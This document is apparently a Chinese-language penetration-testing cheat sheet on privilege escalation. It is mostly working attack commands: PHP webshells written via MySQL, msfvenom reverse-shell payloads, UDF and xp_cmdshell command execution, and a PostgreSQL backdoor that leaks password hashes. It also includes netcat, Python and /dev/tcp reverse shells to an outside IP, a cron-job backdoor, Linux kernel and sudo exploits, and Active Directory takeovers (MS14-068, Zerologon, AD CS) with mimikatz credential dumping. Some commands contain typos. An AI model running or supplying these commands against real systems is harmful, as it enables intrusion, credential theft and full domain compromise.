XD22 9 权限提升

# 显示当前目录
show variables like '%datadir%';或 select @@basedir;

# 查看数据库当前操作用户拥有写权限
show global variables like '%secure_file_priv%';

# 写入后门
select '<?php @eval($_POST['x']);?>' INTO OUTFILE '/var/lib/mysql/a.php'

# 开启慢日志记录
set global slow_query_log=1;

# 设置日志存储目录
set global slow_query_log_file='/var/lib/www/blog.1.php';

# 写入木马记录在日志
select '<?php eval($_GET[A])?>' or SLEEP(1);

# 生成反弹后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=3333 -f exe -o msf.exe
msfvenom - a x86 --platform windows - p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 - b "\x00" - i 10 - f exe - o ~/Desktop/t.exe

# 配置监听会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

# 筛选EXP模块
background
use post/windows/gather/enum_patches（半自动：根据漏洞编号找出系统中安装的补丁）
use post/multi/recon/local_exploit_suggester（全自动：快速识别系统中可能被利用的漏洞）
set session 1
set showdescription true

# 特别注意如果没有显示出来漏洞利用脚本，需要更新msf即使用msfupdate命令
# 利用EXP溢出提权，注意需要重新监听会话并指定端口
background
use exploit/windows/local/ms16_075_reflection_juicy
set localhot. set local port
set session 1
exploit

# 服务器启动服务端
chmod +x teamserver & ./teamserver IP password

# 客户端连接服务端
运行cobaltstrike.bat（运行不起来请检测JDK版本）

# mysql<5.2 导出目录
c:/windows或system32；

# mysql=>5.2 导出安装目录/lib/plugin/
# select version()查看当前的数据库版本
# select @@basedir查看当前的目录
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;允许所有账户的外连

# MSF:（前提先开外连）
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 47.102.195.100
run

# 当msf将dll文件写入/lib/plugin下，可使用Navicat调用系统命令
# 查看
select * from mysql.func where name = "sys_exec"; 

# 创建函数绑定dll
create function sys_eval returns string soname "WqkerHcA.dll";

# 调用函数进行命令执行
select sys_eval("whoami");

# MSF：（前提先开外连）
use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
run

# https://blog.csdn.net/weixin_43801718/article/details/105493042
use mysql;
set @a=concat('',
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'C:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
create function backshell returns string soname 'udf.dll';
select backshell('47.94.236.117',7788)

# MSF：
use exploit/windows/mysql/mysql_mof

# 启用
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

# 关闭
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

# 执行
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了，可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\MicrosoftSQL Server\MSSQL\Binn\xplog70.dll'

# 启用
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

# 关闭
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

# 执行
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec
sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

# 不开启的话在执行xp_regwrite会提示让我们开启：
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

# 关闭沙盒模式，如果一次执行全部代码有问题，先执行上面两句代码：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

# 查询是否正常关闭，经过测试发现沙盒模式无论是开，还是关，都不会影响我们执行下面的语句：
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'

# 执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

# CVE-2018-1058 普通用户植入后门命令
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres
password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow
WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

# 管理员操作数据库触发
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub

# CVE-2019-9193
# 在连接到的后门一般是哥斯拉中利用数据库操作中执行以下命令，其中id表示需要执行的系统命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

# 创建一个名叫 syscmd 的新的交互式的 cmd 执行服务
sc Create syscmd binPath= "cmd /K start" type= own type=interact

# 运行服务 
sc start syscmd

# 相当于开了一个后门，注入到其他用户进程下
pinjector -l
pinjector -p 420 cmd 3333
nc 192.168.46.149 3333

# 查看进程
ps 

# 迁移对应PID
migrate PID

# 令牌窃取
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.94.236.117
LPORT=3333 -f exe -o msf.exe
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

execute -cH -f ./potato.exe //配合烂土豆
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

# 查看当前权限
getuid

# 提权
getsystem

# Win7本地权限
use exploit/windows/local/bypassua

# Win10本地权限
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup

# Akagi64.exe 编号 调用执行
Akagi64.exe 41 msf1.exe

# 检测命令
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v

# PowerSploit 下载地址:
https://github.com/PowerShellMafia/PowerSploit

# accesschk 下载地址:
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

accesschk.exe -uwcqv "administrators" * Import-Module .\PowerUp.ps1 && Invoke-All Checks sc config "test" binpath="C:\Program.exe"
sc start test

# 手工命令探针安全
find / -user root -perm - 4000 - print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm - 4000 - exec ls -ldb {} \;

# 脚本项目探针安全
LinEnum.sh traitor linuxprivchecker

# 利用NC反弹
find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;
netcat xx.xx.xx.xx 5555
# 从 4444 端口获取到命令，bash 运行后将命令执行结果返回 5555 端口，攻击者主机上也是打开两个终端分别执行监听。
nc x.x.x.x 4444 | /bin/bash | nc x.x.x.x 5555

# 利用Python反弹
find xiaodi -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co nnect(("47.94.236.117",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
nc -lvp 7777

# 内核提权整个过程：（linux-exploit-suggester获取信息）
# 通过msf拿到web权限，上传脏牛漏洞利用脚本exp
upload /root/dcow.cpp /tmp/dcow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow && su root

wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipez dirtypipez.c
# 任何具体suid权限的文件均可
./dirtypipez /usr/bin/su

# 探针
find / -user root -perm -4000 -print 2>/dev/null
gcc demo.c -o shell && chmod u+s shell

# root用户可执行文件进行编译，保证文件的正常授权运行，给予 ROOT权限执行，普通用户通过对文件反编译或源代码查看，覆盖其执行环境变量，直接让其执行指定程序获取权限
cp /bin/bash /tmp/ps && export PATH=/tmp:$PATH && ./shell

# 探针IP及端口
nmap 192.168.46.0/24

# 利用phpmailer漏洞进行修改并反弹
python D:/Myproject/40974.py

# 写入后门利用菜刀连接方便操作
echo '<?php eval($_POST[x]);?>' >1.php

# 上传信息收集脚本进行提权信息收集
./LinEnum.sh

# 翻阅数据库配置文件获取root密码

# 利用Mysql提权 searchsploit，下载mysql udf kali poc进行编译：
wget https://www.exploit-db.com/download/1518 - O raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so 1518.so -lc

# 上传或下载 1518 到目标服务器：
wget https://xx.xx.xx.xx/1518.so

# 进入数据库进行UDF导出：
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

# 创建do_system函数调用：
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

# 配合使用find调用执行：
touch xiaodi
find xiaodi –exec "whoami" \;
find xiaodi –exec "/bin/sh" \;
id

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY'R@v3nSecurity' WITH GRANT OPTION;
flush privileges;
允许 root 外连若还是无法连接，则可能是防火墙的阻止，可利用 webshell工具将端口穿透出来。

# 创建一个nc文件，内容如下：
#!/bin/bash
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i

# 赋予执行权限
chmod +x nc

# 上传文件覆盖定时任务目录下：
rsync -av nc rsync://47.94.236.117:873/src/etc/cron.hourly

# 下载文件
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./

# 进行nc 监听相应的端口
nc -lvnp 3333

# 创建用户归类目录，添加到docker组
useradd -d /home/test -m test
passwd test
usermod -G docker test
newgrp docker

# 从Docker上面下载alpine镜像，然后运行，-v将容器外部的目录/root挂载到容器内部/mnt，使用-it参数进入容器shell。
docker run -v /root:/mnt -it alpine

# sudo: 版本在1.8.2-1.8.31p2 或者 1.0-1.5p1
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make && chmod a+x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich 1

# 判断是否存在
dpkg -l policykit-1 
rpm -q policykit-1 

# 漏洞利用
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make && ./cve-2021-4034

# Ms14-068.exe:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14- 068

# PSexec:
https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

# mimikatz:
https://github.com/gentilkiwi/mimikatz/releases

# a. 如果当前用户为域用户
# 得到域成员用户名和 sid 号
whoami /user 

# 指定要同步时钟的域，可以查看域名称
net time /domain 

# b. 如果当前用户是普通用户，利用管理员身份启动 mimikatz 利用下列命令获取域用户 sid 和域控主机名
# 权限提升 
privilege::debug 

# 抓取密码
sekurlsa::logonPasswords 

# c. 利用 ms14-068.exe 工具生成伪造的 kerberos 协议认证证书
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器 地址
ms14-068.exe -u mary@god.org -p admin!@#45 -s S-1-5-21-1218902331- 2157346161-1782232778-1124 -d OWA2010CN-God.god.org

# d. 利用 mimikatz.exe 将证书写入，从而提升为域管理员
# 清除当前会话
kerberos::purge 

# 导入由 ms14-068.exe 生成的证书 名字
kerberos::ptc "TGT_test02@test.lab.ccache" 

# 查看与域控是否建立了联系
kerberos::list 

# e. 连接域控，获取域控的 shell
# 测试连接是否成功
dir \\OWA2010CN-God.god.org\C$ 

# 使用 PsExec.exe 以管理员权限运行连接域控
psexec \\OWA2010CN-God.god.org cmd 

# a. 获取目标计算机名，进行漏洞检测
# 获取目标计算机名
nbtscan -v -h 192.168.3.21

# 验证漏洞是否存在
python3 zerologon_tester.py OWA2010CN-GOD 192.168.3.21

# b. 重置DC密码，获取hash
# 重置 DC 密码：
python3 cve- 2020 - 1472 - exploit.py OWA2010CN-GOD 192.168.3.21

# 使用impacket包中的secretsdum.py来获取相关的HASH:
python3 secretsdump.py god.org/OWA2010CN-GOD\$@192.168.3.21 -no-pass

# c. 通过wmicexec.py使用hash获取DC的shell
# 获取HASH后，可以利用wmiexec.py登录，从而获取一个shell
python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_ipaddr

# wmi连接反弹
python3 wmiexec.py god/administrator@192.168.3.21 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

# 从域外环境已知域内一个普通用户密码直接拿DC shell或者域内所有hash
python3 sam_the_admin.py god/'mary:admin!@#45' -dc-ip 192.168.3.21 -shell

# a. 首先需要获取域控服务器，域证书服务器的一些基本信息
# 在受控的主机上执行powershell命令
Get-ChildItem Cert:\LocalMachine\Root\

# 得到域证书服务器地址fenghuotai-DC-CA，
# 域控服务器地址fenghuotai.local，域控计算机名为dc

# b. 设置攻击机的DNS服务器地址为域控DNS服务器地址
192.168.1.15 fenghuotai.local dc.fenghuotai.local fenghuotai-DC-CA

# c. 使用掌握的域内普通用户账号申请证书并验证登录，测试复现环境是否异常
# 申请证书 可能会遇到NETBIOS超时现象，重新执行一次申请证书命令即可
certipy req 'fenghuotai.local/testcve:1qaz3edc.@dc.fenghuotai.local' -ca fenghuotai-DC-CA -template User

# 验证该证书，获取其NT hash
certipy auth -pfx testcve.pfx

# d. 新建账号pwnmachine，配置DNShostname，并申请域控dc$的证书
# 新建一台名为pwnmachine，密码为CVEPassword1234*的机器账号：
python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234*'，

# 设置其dNSHostName 属性为域控服务器属性：
python bloodyAD.py -d fenghuotai.local -u testcve -p '1qaz3edc.' --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai, DC=local' dNSHostName '["dc.fenghuotai.local"]'

# 申请新建的机器账号pwnmachine$的证书，其实申请到的是域控dc$的证书：
certipy req 'fenghuotai.local/pwnmachine$:CVEPassword1234*@192.168.220.160' -template Machine -dc-ip 192.168.220.160 -ca fenghuotai-DC-CA

# 进行登录验证，获取其NT hash:
certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160

# e. 获取域内所有账户hash，通过hash获取shell
# 使用impacket工具examples目录下的secretsdump.py脚本：
python3 secretsdump.py 'fenghuotai.local/dc$@dc.fenghuotai.local' -hashes :xxx

# 通过hash获取到域控的shell
python3 wmiexec.py fenghuotai.local/administrator@192.168.1.15 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
# 还可以使用PKINITtools工具，获取域控最高权限shell